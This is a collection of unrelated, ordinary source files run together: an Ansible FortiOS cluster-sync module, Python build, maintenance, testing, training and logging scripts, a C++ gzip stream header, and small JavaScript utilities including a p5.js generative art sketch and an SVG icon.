#!/usr/bin/python from __future__ import (absolute_import, division, print_function) # Copyright 2019 Fortinet, Inc. # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <https://www.gnu.org/licenses/>. __metaclass__ = type ANSIBLE_METADATA = {'status': ['preview'], 'supported_by': 'community', 'metadata_version': '1.1'} DOCUMENTATION = ''' --- module: fortios_system_cluster_sync short_description: Configure FortiGate Session Life Support Protocol (FGSP) session synchronization in Fortinet's FortiOS and FortiGate. description: - This module is able to configure a FortiGate or FortiOS (FOS) device by allowing the user to set and modify system feature and cluster_sync category. Examples include all parameters and values need to be adjusted to datasources before usage. Tested with FOS v6.0.6 version_added: "2.9" author: - Miguel Angel Munoz (@mamunozgonzalez) - Nicolas Thomas (@thomnico) notes: - Requires fortiosapi library developed by Fortinet - Run as a local_action in your playbook requirements: - fortiosapi>=0.9.8 options: host: description: - FortiOS or FortiGate IP address. type: str required: false username: description: - FortiOS or FortiGate username. type: str required: false password: description: - FortiOS or FortiGate password. type: str default: "" vdom: description: - Virtual domain, among those defined previously. A vdom is a virtual instance of the FortiGate that can be configured and used as a different unit. type: str default: root https: description: - Indicates if the requests towards FortiGate must use HTTPS protocol. type: bool default: true ssl_verify: description: - Ensures FortiGate certificate must be verified by a proper CA. type: bool default: true state: description: - Indicates whether to create or remove the object. type: str required: true choices: - present - absent system_cluster_sync: description: - Configure FortiGate Session Life Support Protocol (FGSP) session synchronization. default: null type: dict suboptions: down_intfs_before_sess_sync: description: - List of interfaces to be turned down before session synchronization is complete. type: list suboptions: name: description: - Interface name. Source system.interface.name. required: true type: str hb_interval: description: - Heartbeat interval (1 - 10 sec). type: int hb_lost_threshold: description: - Lost heartbeat threshold (1 - 10). type: int peerip: description: - IP address of the interface on the peer unit that is used for the session synchronization link. type: str peervd: description: - VDOM that contains the session synchronization link interface on the peer unit. Usually both peers would have the same peervd. Source system.vdom.name. type: str session_sync_filter: description: - Add one or more filters if you only want to synchronize some sessions. Use the filter to configure the types of sessions to synchronize. type: dict suboptions: custom_service: description: - Only sessions using these custom services are synchronized. Use source and destination port ranges to define these custome services. type: list suboptions: dst_port_range: description: - Custom service destination port range. type: str id: description: - Custom service ID. required: true type: int src_port_range: description: - Custom service source port range. type: str dstaddr: description: - Only sessions to this IPv4 address are synchronized. You can only enter one address. To synchronize sessions for multiple destination addresses, add multiple filters. type: str dstaddr6: description: - Only sessions to this IPv6 address are synchronized. You can only enter one address. To synchronize sessions for multiple destination addresses, add multiple filters. type: str dstintf: description: - Only sessions to this interface are synchronized. You can only enter one interface name. To synchronize sessions to multiple destination interfaces, add multiple filters. Source system.interface.name. type: str srcaddr: description: - Only sessions from this IPv4 address are synchronized. You can only enter one address. To synchronize sessions from multiple source addresses, add multiple filters. type: str srcaddr6: description: - Only sessions from this IPv6 address are synchronized. You can only enter one address. To synchronize sessions from multiple source addresses, add multiple filters. type: str srcintf: description: - Only sessions from this interface are synchronized. You can only enter one interface name. To synchronize sessions for multiple source interfaces, add multiple filters. Source system.interface.name. type: str slave_add_ike_routes: description: - Enable/disable IKE route announcement on the backup unit. type: str choices: - enable - disable sync_id: description: - Sync ID. type: int syncvd: description: - Sessions from these VDOMs are synchronized using this session synchronization configuration. type: list suboptions: name: description: - VDOM name. Source system.vdom.name. required: true type: str ''' EXAMPLES = ''' - hosts: localhost vars: host: "192.168.122.40" username: "admin" password: "" vdom: "root" ssl_verify: "False" tasks: - name: Configure FortiGate Session Life Support Protocol (FGSP) session synchronization. fortios_system_cluster_sync: host: "{{ host }}" username: "{{ username }}" password: "{{ password }}" vdom: "{{ vdom }}" https: "False" state: "present" system_cluster_sync: down_intfs_before_sess_sync: - name: "default_name_4 (source system.interface.name)" hb_interval: "5" hb_lost_threshold: "6" peerip: "<your_own_value>" peervd: "<your_own_value> (source system.vdom.name)" session_sync_filter: custom_service: - dst_port_range: "<your_own_value>" id: "12" src_port_range: "<your_own_value>" dstaddr: "<your_own_value>" dstaddr6: "<your_own_value>" dstintf: "<your_own_value> (source system.interface.name)" srcaddr: "<your_own_value>" srcaddr6: "<your_own_value>" srcintf: "<your_own_value> (source system.interface.name)" slave_add_ike_routes: "enable" sync_id: "21" syncvd: - name: "default_name_23 (source system.vdom.name)" ''' RETURN = ''' build: description: Build number of the fortigate image returned: always type: str sample: '1547' http_method: description: Last method used to provision the content into FortiGate returned: always type: str sample: 'PUT' http_status: description: Last result given by FortiGate on last operation applied returned: always type: str sample: "200" mkey: description: Master key (id) used in the last call to FortiGate returned: success type: str sample: "id" name: description: Name of the table used to fulfill the request returned: always type: str sample: "urlfilter" path: description: Path of the table used to fulfill the request returned: always type: str sample: "webfilter" revision: description: Internal revision number returned: always type: str sample: "17.0.2.10658" serial: description: Serial number of the unit returned: always type: str sample: "FGVMEVYYQT3AB5352" status: description: Indication of the operation's result returned: always type: str sample: "success" vdom: description: Virtual domain used returned: always type: str sample: "root" version: description: Version of the FortiGate returned: always type: str sample: "v5.6.3" ''' from ansible.module_utils.basic import AnsibleModule from ansible.module_utils.connection import Connection from ansible.module_utils.network.fortios.fortios import FortiOSHandler from ansible.module_utils.network.fortimanager.common import FAIL_SOCKET_MSG def login(data, fos): host = data['host'] username = data['username'] password = data['password'] ssl_verify = data['ssl_verify'] fos.debug('on') if 'https' in data and not data['https']: fos.https('off') else: fos.https('on') fos.login(host, username, password, verify=ssl_verify) def filter_system_cluster_sync_data(json): option_list = ['down_intfs_before_sess_sync', 'hb_interval', 'hb_lost_threshold', 'peerip', 'peervd', 'session_sync_filter', 'slave_add_ike_routes', 'sync_id', 'syncvd'] dictionary = {} for attribute in option_list: if attribute in json and json[attribute] is not None: dictionary[attribute] = json[attribute] return dictionary def underscore_to_hyphen(data): if isinstance(data, list): for elem in data: elem = underscore_to_hyphen(elem) elif isinstance(data, dict): new_data = {} for k, v in data.items(): new_data[k.replace('_', '-')] = underscore_to_hyphen(v) data = new_data return data def system_cluster_sync(data, fos): vdom = data['vdom'] state = data['state'] system_cluster_sync_data = data['system_cluster_sync'] filtered_data = underscore_to_hyphen(filter_system_cluster_sync_data(system_cluster_sync_data)) if state == "present": return fos.set('system', 'cluster-sync', data=filtered_data, vdom=vdom) elif state == "absent": return fos.delete('system', 'cluster-sync', mkey=filtered_data['sync-id'], vdom=vdom) def is_successful_status(status): return status['status'] == "success" or \ status['http_method'] == "DELETE" and status['http_status'] == 404 def fortios_system(data, fos): if data['system_cluster_sync']: resp = system_cluster_sync(data, fos) return not is_successful_status(resp), \ resp['status'] == "success", \ resp def main(): fields = { "host": {"required": False, "type": "str"}, "username": {"required": False, "type": "str"}, "password": {"required": False, "type": "str", "default": "", "no_log": True}, "vdom": {"required": False, "type": "str", "default": "root"}, "https": {"required": False, "type": "bool", "default": True}, "ssl_verify": {"required": False, "type": "bool", "default": True}, "state": {"required": True, "type": "str", "choices": ["present", "absent"]}, "system_cluster_sync": { "required": False, "type": "dict", "default": None, "options": { "down_intfs_before_sess_sync": {"required": False, "type": "list", "options": { "name": {"required": True, "type": "str"} }}, "hb_interval": {"required": False, "type": "int"}, "hb_lost_threshold": {"required": False, "type": "int"}, "peerip": {"required": False, "type": "str"}, "peervd": {"required": False, "type": "str"}, "session_sync_filter": {"required": False, "type": "dict", "options": { "custom_service": {"required": False, "type": "list", "options": { "dst_port_range": {"required": False, "type": "str"}, "id": {"required": True, "type": "int"}, "src_port_range": {"required": False, "type": "str"} }}, "dstaddr": {"required": False, "type": "str"}, "dstaddr6": {"required": False, "type": "str"}, "dstintf": {"required": False, "type": "str"}, "srcaddr": {"required": False, "type": "str"}, "srcaddr6": {"required": False, "type": "str"}, "srcintf": {"required": False, "type": "str"} }}, "slave_add_ike_routes": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "sync_id": {"required": False, "type": "int"}, "syncvd": {"required": False, "type": "list", "options": { "name": {"required": True, "type": "str"} }} } } } module = AnsibleModule(argument_spec=fields, supports_check_mode=False) # legacy_mode refers to using fortiosapi instead of HTTPAPI legacy_mode = 'host' in module.params and module.params['host'] is not None and \ 'username' in module.params and module.params['username'] is not None and \ 'password' in module.params and module.params['password'] is not None if not legacy_mode: if module._socket_path: connection = Connection(module._socket_path) fos = FortiOSHandler(connection) is_error, has_changed, result = fortios_system(module.params, fos) else: module.fail_json(**FAIL_SOCKET_MSG) else: try: from fortiosapi import FortiOSAPI except ImportError: module.fail_json(msg="fortiosapi module is required") fos = FortiOSAPI() login(module.params, fos) is_error, has_changed, result = fortios_system(module.params, fos) fos.logout() if not is_error: module.exit_json(changed=has_changed, meta=result) else: module.fail_json(msg="Error in repo", meta=result) if __name__ == '__main__': main()
# -*- coding: utf-8 -*- """ ligninkmc Kinetic Monte Carlo implementation for creating realistic lignin topologies as described in https://pubs.acs.org/doi/abs/10.1021/acssuschemeng.9b03534 """ from setuptools import setup import versioneer DOCLINES = __doc__.split("\n") setup(name='ligninkmc', author='Michael Orella, Terry Gani, and Heather Mayes', author_email='hmayes@gmail.com', # description="Kinetic Monte Carlo implementation for creating realistic lignin topologies.", description=DOCLINES[0], # long_description="\n".join(DOCLINES[2:]), url='https://github.com/michaelorella/lignin-kmc', version=versioneer.get_version(), cmdclass=versioneer.get_cmdclass(), license='MIT', packages=['ligninkmc'], entry_points={'console_scripts': ['create_lignin = ligninkmc.create_lignin:main', 'plot_bond_formation = ligninkmc.plot_bond_formation:main' ], }, package_dir={'ligninkmc': 'ligninkmc'}, python_requires=">3.6", # Required for f-strings support test_suite='tests', # rdkit isn't installable via pip, so not included on list below install_requires=['scipy', 'numpy', 'matplotlib', 'joblib', 'common_wrangler>=0.3.7.5'], # zip_safe=False, )
#!/usr/bin/env python # Copyright 2015-2016 Yelp Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ Usage: ./cleanup_maintenance.py Clean up boxes that should no longer be marked as 'draining' or 'down' for maintenance. Also cleanup the associated dynamic reservations. """ import argparse import logging import sys from paasta_tools.mesos_maintenance import get_draining_hosts from paasta_tools.mesos_maintenance import get_hosts_forgotten_down from paasta_tools.mesos_maintenance import get_hosts_forgotten_draining from paasta_tools.mesos_maintenance import reserve_all_resources from paasta_tools.mesos_maintenance import seconds_to_nanoseconds from paasta_tools.mesos_maintenance import undrain from paasta_tools.mesos_maintenance import unreserve_all_resources from paasta_tools.mesos_maintenance import up from paasta_tools.mesos_tools import get_slaves log = logging.getLogger(__name__) def parse_args(): parser = argparse.ArgumentParser(description='Cleans up forgotten maintenance cruft.') parser.add_argument( '-v', '--verbose', action='store_true', dest="verbose", default=False, ) parser.add_argument( '--disable-reservation-cleanup', action='store_true', dest="disable_reservation_cleanup", default=False, ) args = parser.parse_args() return args def cleanup_forgotten_draining(): """Clean up hosts forgotten draining""" log.debug("Cleaning up hosts forgotten draining") hosts_forgotten_draining = get_hosts_forgotten_draining(grace=seconds_to_nanoseconds(10 * 60)) if hosts_forgotten_draining: undrain(hostnames=hosts_forgotten_draining) else: log.debug("No hosts forgotten draining") def cleanup_forgotten_down(): """Clean up hosts forgotten down""" log.debug("Cleaning up hosts forgotten down") hosts_forgotten_down = get_hosts_forgotten_down(grace=seconds_to_nanoseconds(10 * 60)) if hosts_forgotten_down: up(hostnames=hosts_forgotten_down) else: log.debug("No hosts forgotten down") def unreserve_all_resources_on_non_draining_hosts(): """Unreserve all resources on non-draining hosts""" log.debug("Unreserving all resources on non-draining hosts") slaves = get_slaves() hostnames = [slave['hostname'] for slave in slaves] draining_hosts = get_draining_hosts() non_draining_hosts = list(set(hostnames) - set(draining_hosts)) if non_draining_hosts: unreserve_all_resources(hostnames=non_draining_hosts) else: log.debug("No non-draining hosts") def reserve_all_resources_on_draining_hosts(): """Reserve all resources on draining hosts""" log.debug("Reserving all resources on draining hosts") draining_hosts = get_draining_hosts() if draining_hosts: reserve_all_resources(hostnames=draining_hosts) else: log.debug("No draining hosts") def main(): log.debug("Cleaning up maintenance cruft") args = parse_args() if args.verbose: logging.basicConfig(level=logging.DEBUG) else: logging.basicConfig(level=logging.WARNING) cleanup_forgotten_draining() cleanup_forgotten_down() if not args.disable_reservation_cleanup: unreserve_all_resources_on_non_draining_hosts() reserve_all_resources_on_draining_hosts() if __name__ == "__main__": if main(): sys.exit(0) sys.exit(1)
from selenium import webdriver from fixture.session import SessionHelper from fixture.group import GroupHelper from fixture.contact import ContactHelper class Application: def __init__(self, browser, base_url): if browser == "firefox": self.wd = webdriver.Firefox() elif browser == "chrom": self.wd = webdriver.Chrome() elif browser == "ie": self.wd = webdriver.Ie() else: raise ValueError("Unrecognized browser %s" % browser) self.session = SessionHelper(self) self.group = GroupHelper(self) self.contact = ContactHelper(self) self.base_url = base_url def is_valid(self): try: self.wd.current_url return True except: return False def open_home_page(self): wd = self.wd wd.get(self.base_url) def destroy(self): self.wd.quit()
# -*- coding: utf-8 -*- import numpy as np import os import argparse import time import torch import torch.nn as nn import torch.backends.cudnn as cudnn import torchvision.transforms as trn import torchvision.datasets as dset import torch.nn.functional as F from tqdm import tqdm from models.allconv import AllConvNet from models.wrn import WideResNet # go through rigamaroo to do ...utils.display_results import show_performance if __package__ is None: import sys from os import path sys.path.append(path.dirname(path.dirname(path.abspath(__file__)))) from utils.validation_dataset import validation_split parser = argparse.ArgumentParser(description='Trains a CIFAR Classifier', formatter_class=argparse.ArgumentDefaultsHelpFormatter) parser.add_argument('--dataset', '-d', type=str, default='cifar10', choices=['cifar10', 'cifar100'], help='Choose between CIFAR-10, CIFAR-100.') parser.add_argument('--model', '-m', type=str, default='wrn', choices=['allconv', 'wrn'], help='Choose architecture.') parser.add_argument('--calibration', '-c', action='store_true', help='Train a model to be used for calibration. This holds out some data for validation.') # Optimization options parser.add_argument('--epochs', '-e', type=int, default=100, help='Number of epochs to train.') parser.add_argument('--learning_rate', '-lr', type=float, default=0.1, help='The initial learning rate.') parser.add_argument('--batch_size', '-b', type=int, default=128, help='Batch size.') parser.add_argument('--test_bs', type=int, default=200) parser.add_argument('--momentum', type=float, default=0.9, help='Momentum.') parser.add_argument('--decay', type=float, default=0.0005, help='Weight decay (L2 penalty).') # WRN Architecture parser.add_argument('--layers', default=40, type=int, help='total number of layers') parser.add_argument('--widen-factor', default=2, type=int, help='widen factor') parser.add_argument('--droprate', default=0.3, type=float, help='dropout probability') # Checkpoints parser.add_argument('--save', '-s', type=str, default='./snapshots/baseline', help='Folder to save checkpoints.') parser.add_argument('--load', '-l', type=str, default='', help='Checkpoint path to resume / test.') parser.add_argument('--test', '-t', action='store_true', help='Test only flag.') # Acceleration parser.add_argument('--ngpu', type=int, default=1, help='0 = CPU.') parser.add_argument('--prefetch', type=int, default=4, help='Pre-fetching threads.') args = parser.parse_args() state = {k: v for k, v in args._get_kwargs()} print(state) torch.manual_seed(1) np.random.seed(1) # mean and standard deviation of channels of CIFAR-10 images mean = [0.5] * 3 # [x / 255 for x in [125.3, 123.0, 113.9]] std = [0.5] * 3 # [x / 255 for x in [63.0, 62.1, 66.7]] train_transform = trn.Compose([trn.RandomHorizontalFlip(), trn.RandomCrop(32, padding=4), trn.ToTensor(), trn.Normalize(mean, std)]) test_transform = trn.Compose([trn.ToTensor(), trn.Normalize(mean, std)]) if args.dataset == 'cifar10': train_data = dset.CIFAR10('/share/data/vision-greg/cifarpy', train=True, transform=train_transform) test_data = dset.CIFAR10('/share/data/vision-greg/cifarpy', train=False, transform=test_transform) num_classes = 10 else: train_data = dset.CIFAR100('/share/data/vision-greg/cifarpy', train=True, transform=train_transform) test_data = dset.CIFAR100('/share/data/vision-greg/cifarpy', train=False, transform=test_transform) num_classes = 100 calib_indicator = '' if args.calibration: train_data, val_data = validation_split(train_data, val_share=0.1) calib_indicator = '_calib' train_loader = torch.utils.data.DataLoader( train_data, batch_size=args.batch_size, shuffle=True, num_workers=args.prefetch, pin_memory=True) test_loader = torch.utils.data.DataLoader( test_data, batch_size=args.test_bs, shuffle=False, num_workers=args.prefetch, pin_memory=True) # Create model if args.model == 'allconv': net = AllConvNet(num_classes) else: net = WideResNet(args.layers, num_classes, args.widen_factor, dropRate=args.droprate) start_epoch = 0 # Restore model if desired if args.load != '': for i in range(1000 - 1, -1, -1): model_name = os.path.join(args.load, args.dataset + calib_indicator + '_' + args.model + '_baseline_epoch_' + str(i) + '.pt') if os.path.isfile(model_name): net.load_state_dict(torch.load(model_name)) print('Model restored! Epoch:', i) start_epoch = i + 1 break if start_epoch == 0: assert False, "could not resume" if args.ngpu > 1: net = torch.nn.DataParallel(net, device_ids=list(range(args.ngpu))) if args.ngpu > 0: net.cuda() torch.cuda.manual_seed(1) cudnn.benchmark = True # fire on all cylinders optimizer = torch.optim.SGD( net.parameters(), state['learning_rate'], momentum=state['momentum'], weight_decay=state['decay'], nesterov=True) def cosine_annealing(step, total_steps, lr_max, lr_min): return lr_min + (lr_max - lr_min) * 0.5 * ( 1 + np.cos(step / total_steps * np.pi)) scheduler = torch.optim.lr_scheduler.LambdaLR( optimizer, lr_lambda=lambda step: cosine_annealing( step, args.epochs * len(train_loader), 1, # since lr_lambda computes multiplicative factor 1e-6 / args.learning_rate)) # /////////////// Training /////////////// def train(): net.train() # enter train mode loss_avg = 0.0 for data, target in train_loader: data, target = data.cuda(), target.cuda() # forward x = net(data) # backward scheduler.step() optimizer.zero_grad() loss = F.cross_entropy(x, target) loss.backward() optimizer.step() # exponential moving average loss_avg = loss_avg * 0.9 + float(loss) * 0.1 state['train_loss'] = loss_avg # test function def test(): net.eval() loss_avg = 0.0 correct = 0 with torch.no_grad(): for data, target in test_loader: data, target = data.cuda(), target.cuda() # forward output = net(data) loss = F.cross_entropy(output, target) # accuracy pred = output.data.max(1)[1] correct += pred.eq(target.data).sum().item() # test loss average loss_avg += float(loss.data) state['test_loss'] = loss_avg / len(test_loader) state['test_accuracy'] = correct / len(test_loader.dataset) if args.test: test() print(state) exit() # Make save directory if not os.path.exists(args.save): os.makedirs(args.save) if not os.path.isdir(args.save): raise Exception('%s is not a dir' % args.save) with open(os.path.join(args.save, args.dataset + calib_indicator + '_' + args.model + '_baseline_training_results.csv'), 'w') as f: f.write('epoch,time(s),train_loss,test_loss,test_error(%)\n') print('Beginning Training\n') # Main loop for epoch in range(start_epoch, args.epochs): state['epoch'] = epoch begin_epoch = time.time() train() test() # Save model torch.save(net.state_dict(), os.path.join(args.save, args.dataset + calib_indicator + '_' + args.model + '_baseline_epoch_' + str(epoch) + '.pt')) # Let us not waste space and delete the previous model prev_path = os.path.join(args.save, args.dataset + calib_indicator + '_' + args.model + '_baseline_epoch_' + str(epoch - 1) + '.pt') if os.path.exists(prev_path): os.remove(prev_path) # Show results with open(os.path.join(args.save, args.dataset + calib_indicator + '_' + args.model + '_baseline_training_results.csv'), 'a') as f: f.write('%03d,%05d,%0.6f,%0.5f,%0.2f\n' % ( (epoch + 1), time.time() - begin_epoch, state['train_loss'], state['test_loss'], 100 - 100. * state['test_accuracy'], )) # # print state with rounded decimals # print({k: round(v, 4) if isinstance(v, float) else v for k, v in state.items()}) print('Epoch {0:3d} | Time {1:5d} | Train Loss {2:.4f} | Test Loss {3:.3f} | Test Error {4:.2f}'.format( (epoch + 1), int(time.time() - begin_epoch), state['train_loss'], state['test_loss'], 100 - 100. * state['test_accuracy']) )
# -*- coding: utf-8 -*- """ Tencent is pleased to support the open source community by making BK-LOG 蓝鲸日志平台 available. Copyright (C) 2021 THL A29 Limited, a Tencent company. All rights reserved. BK-LOG 蓝鲸日志平台 is licensed under the MIT License. License for BK-LOG 蓝鲸日志平台: -------------------------------------------------------------------- Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ from logging.handlers import DatagramHandler from opentelemetry import trace from opentelemetry.trace import format_trace_id """ Usage: from apps.common.log import logger logger.info("test") logger.error("wrong1") logger.exception("wrong2") # with traceback try: 1 / 0 except Exception: logger.exception("wrong3") """ import logging # noqa from apps.utils.local import get_request_id # noqa logger_detail = logging.getLogger("root") class UdpHandler(DatagramHandler): def emit(self, record): try: msg = self.format(record) self.send(msg.encode()) except Exception: # pylint:disable=broad-except self.handleError(record) # =============================================================================== # 自定义添加打印内容 # =============================================================================== # traceback--打印详细错误日志 class logger_traceback: """ 详细异常信息追踪 """ def __init__(self): pass def error(self, message=""): """ 打印 error 日志方法 """ message = self.build_message(message) logger_detail.error(message) def info(self, message=""): """ info 日志 """ message = self.build_message(message) logger_detail.info(message) def warning(self, message=""): """ warning 日志 """ message = self.build_message(message) logger_detail.warning(message) def debug(self, message=""): """ debug 日志 """ message = self.build_message(message) logger_detail.debug(message) def critical(self, message=""): """ critical 日志 """ message = self.build_message(message) logger_detail.critical(message) def exception(self, message="", *args): message = self.build_message(message) logger_detail.exception(message, *args) @staticmethod def build_message(message): trace_id = trace.get_current_span().get_span_context().trace_id return "{} | {}".format(format_trace_id(trace_id), message) # traceback--打印详细错误日志 logger = logger_traceback()
#ifndef _GZIPSTREAM_H_ #define _GZIPSTREAM_H_ #include <zlib.h> #include "Stream.h" namespace Framework { class CGZipStream : public CStream { public: CGZipStream(const char*, const char*); virtual ~CGZipStream(); void Seek(int64, STREAM_SEEK_DIRECTION); uint64 Tell(); uint64 Read(void*, uint64); uint64 Write(const void*, uint64); bool IsEOF(); private: gzFile m_File; }; } #endif
function solve() { let optionList = document.querySelectorAll('#selectMenuTo')[0] let button = document.querySelector('#container button') let input = document.querySelector('#input') optionList.innerHTML = ` <option selected value=""></option> <option value="hexadecimal">Hexadecimal</option> <option value="binary">Binary</option> ` button.addEventListener('click', () => { let result = '' if (optionList.value === 'binary') { result = (Number(input.value)).toString(2) } else { result = (Number(input.value)).toString(16).toUpperCase() } document.getElementById('result').value = result; }) }
let pallete = ["#F3B4B7", "#FED568", "#67BAB7", "#047073", "#E3535D"]; let cells = 7; const cols = cells; const rows = cells; const offset = 50; const margin = 2; let w, h; let sc; function setup() { createCanvas(800, 800); colorMode(HSB, 360, 100, 100, 100); angleMode(DEGREES); noLoop(); sc = color(0, 0, 100, 100); stroke(sc); strokeCap(ROUND); strokeWeight(2); noFill(); w = (width - offset * 2 - margin * (cols - 1)) / cols; h = (height - offset * 2 - margin * (rows - 1)) / rows; } function draw() { blendMode(ADD); background(0, 0, 5); for (let j = 0; j < rows; j++) { for (let i = 0; i < cols; i++) { let x = map(i, 0, cols - 1, offset, width - offset - w); let y = map(j, 0, rows - 1, offset, height - offset - h); push(); translate(x, y); drawRandomShape(w, h); pop(); } } drawNoise(45000); } function drawRandomShape(_w, _h) { rect(0, 0, _w, _h); let n = floor(random(4)); switch (n) { case 0: drawArcQuarter(_w, _h, (_w + _h) / 2); break; case 1: drawArcHalf(_w, _h, (_w + _h) / 2); break; case 2: drawDiagonalLine(_w, _h); break; case 3: drawSplitLine(_w, _h); break; } } function drawDiagonalLine(_w, _h) { let m = floor(random(4)); let n = floor(random(2)); push(); translate(_w / 2, _h / 2); //rotate(m * 90); let p1, p2; if (n == 0) { line(-w / 2, -h / 2, w / 2, h / 2); p1 = createVector(-w / 2, -h / 2); p2 = createVector(w / 2, h / 2); let o = int(random(pallete.length)); if (random(100) < 80) { push(); fill(pallete[o]); stroke(sc); triangle(p1.x, p1.y, p2.x, p2.y, w / 2, -h / 2); pop(); } else { push(); fill(pallete[o]); stroke(sc); triangle(p1.x, p1.y, p2.x, p2.y, -w / 2, h / 2); pop(); } } else { line(w / 2, -h / 2, 0, h / 2); p1 = createVector(w / 2, -h / 2); p2 = createVector(0, h / 2); let o = int(random(pallete.length)); if (random(100) < 80) { push(); fill(pallete[o]); stroke(sc); triangle(p1.x, p1.y, p2.x, p2.y, w / 2, h / 2); pop(); } else { push(); fill(pallete[o]); stroke(sc); quad(p1.x, p1.y, p2.x, p2.y, -w / 2, h / 2, -w / 2, -h / 2); pop(); } } for (let i = 0; i < 1.0; i += 1 / 10) { let p3 = p5.Vector.lerp(p1, p2, i); line(p3.x, p3.y, w / 2, p3.y); } pop(); } function drawSplitLine(_w, _h) { let m = floor(random(4)); let n = floor(random(2)); push(); translate(_w / 2, _h / 2); rotate(m * 90); line(-w / 2, 0, w / 2, 0); if (n < 0.5) { if (random(100) < 50) { for (let x = -w / 2; x < w / 2; x += w / 10) { line(x, 0, x, h / 2); } } let o = int(random(pallete.length)); push(); fill(pallete[o]); stroke(sc); if (random(100) < 50) { rect(-w / 2, -h / 2, w, h / 2); } else { rect(w / 2, h / 2, -w, -h / 2); } pop(); } else { let m = int(random(1, 5)); let mw = h * m / 20; if (random(100) < 50) { push(); let o = int(random(pallete.length)); fill(pallete[o]); rectMode(CENTER); rect(0, 0, w, mw * 2); pop(); } else { push(); let o = int(random(pallete.length)); fill(pallete[o]); rectMode(CORNER); rect(-w / 2, -h / 2, w, (h - mw * 2) / 2); rect(w / 2, h / 2, -w, -(h - mw * 2) / 2); pop(); } for (let i = 1; i < m; i++) { let y = map(i, 0, m - 1, 0, w * m / 20); line(-w / 2, y, w / 2, y); line(-w / 2, -y, w / 2, -y); } } pop(); } function drawArcHalf(_w, _h, _d) { let m = floor(random(4)); let sAngle = m * 90; let eAngle = 180; let x0 = _w / 2; let y0 = _h / 2; if (random(100) < 50) { push(); translate(x0, y0); rotate(sAngle); let o = int(random(pallete.length)); fill(pallete[o]); noStroke(); arc(0, 0, _d, _d, 0, eAngle); rect(-_w / 2, 0, _w, -_h / 2); pop(); } else { push(); translate(x0, y0); rotate(sAngle); let o = int(random(pallete.length)); fill(pallete[o]); noStroke(); beginShape(); for (let angle = 0; angle < eAngle; angle += 1) { let x = cos(angle) * _d / 2; let y = sin(angle) * _d / 2; vertex(x, y); } vertex(-_w / 2, _h / 2); vertex(_w / 2, _h / 2); endShape(CLOSE); pop(); } push(); translate(x0, y0); rotate(sAngle); noFill(); arc(0, 0, _d, _d, 0, eAngle); pop(); } function drawArcQuarter(_w, _h, _d) { let m = floor(random(4)); let sAngle; let eAngle; let x0, x1; let y0, y1; push(); switch (m) { case 0: sAngle = 0; eAngle = 90; x0 = 0; y0 = 0; x1 = _w; y1 = _h; break; case 1: sAngle = 90; eAngle = 180; x0 = _w; y0 = 0; x1 = 0; y1 = _h; break; case 2: sAngle = 180; eAngle = 270; x0 = _w; y0 = _h; x1 = 0; y1 = 0; break; case 3: sAngle = 270; eAngle = 360; x0 = 0; y0 = _h; x1 = _w; y1 = 0; break; } let o = int(random(pallete.length)); if (random(100) < 50) { push(); fill(pallete[o]); stroke(sc); arc(x0, y0, _d * 2, _d * 2, sAngle, eAngle); pop(); } else { arc(x0, y0, _d * 2, _d * 2, sAngle, eAngle); fill(pallete[o]); beginShape(); for (let angle = sAngle; angle < eAngle; angle++) { let x = x0 + cos(angle) * _d; let y = y0 + sin(angle) * _d; vertex(x, y); } vertex(x1, y1); endShape(); } let isHorizontal = random(100) < 50 ? true : false; for (let angle = sAngle; angle < eAngle; angle += 5) { let x1 = x0 + cos(angle) * _d; let y1 = y0 + sin(angle) * _d; let x2; let y2; switch (m) { case 0: if (isHorizontal) { x2 = _d; y2 = y1; } else { x2 = x1; y2 = _d; } break; case 1: if (isHorizontal) { x2 = 0; y2 = y1; } else { x2 = x1; y2 = _d; } break; case 2: if (isHorizontal) { x2 = 0; y2 = y1; } else { x2 = x1; y2 = 0; } break; case 3: if (isHorizontal) { x2 = _d; y2 = y1; } else { x2 = x1; y2 = 0; } break; } line(x1, y1, x2, y2); } pop(); } function drawNoise(_n) { for (let i = 0; i < _n; i++) { let x = random(0, width); let y = random(0, height); let w = random(1, 2); let h = random(1, 2); noStroke(); fill(0, 0, 100, random(10)); ellipse(x, y, w, h); } }
(function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() : typeof define === 'function' && define.amd ? define(factory) : (global.LetterTt32 = factory()); }(this, (function () { 'use strict'; var _32 = { elem: 'svg', attrs: { xmlns: 'http://www.w3.org/2000/svg', viewBox: '0 0 32 32', width: 32, height: 32, }, content: [ { elem: 'path', attrs: { d: 'M8 11h3v12h2V11h3V9H8v2zm15 4v-2h-3v-2h-2v2h-2v2h2v6a2 2 0 0 0 2 2h3v-2h-3v-6z', }, }, ], name: 'letter--Tt', size: 32, }; return _32; })));
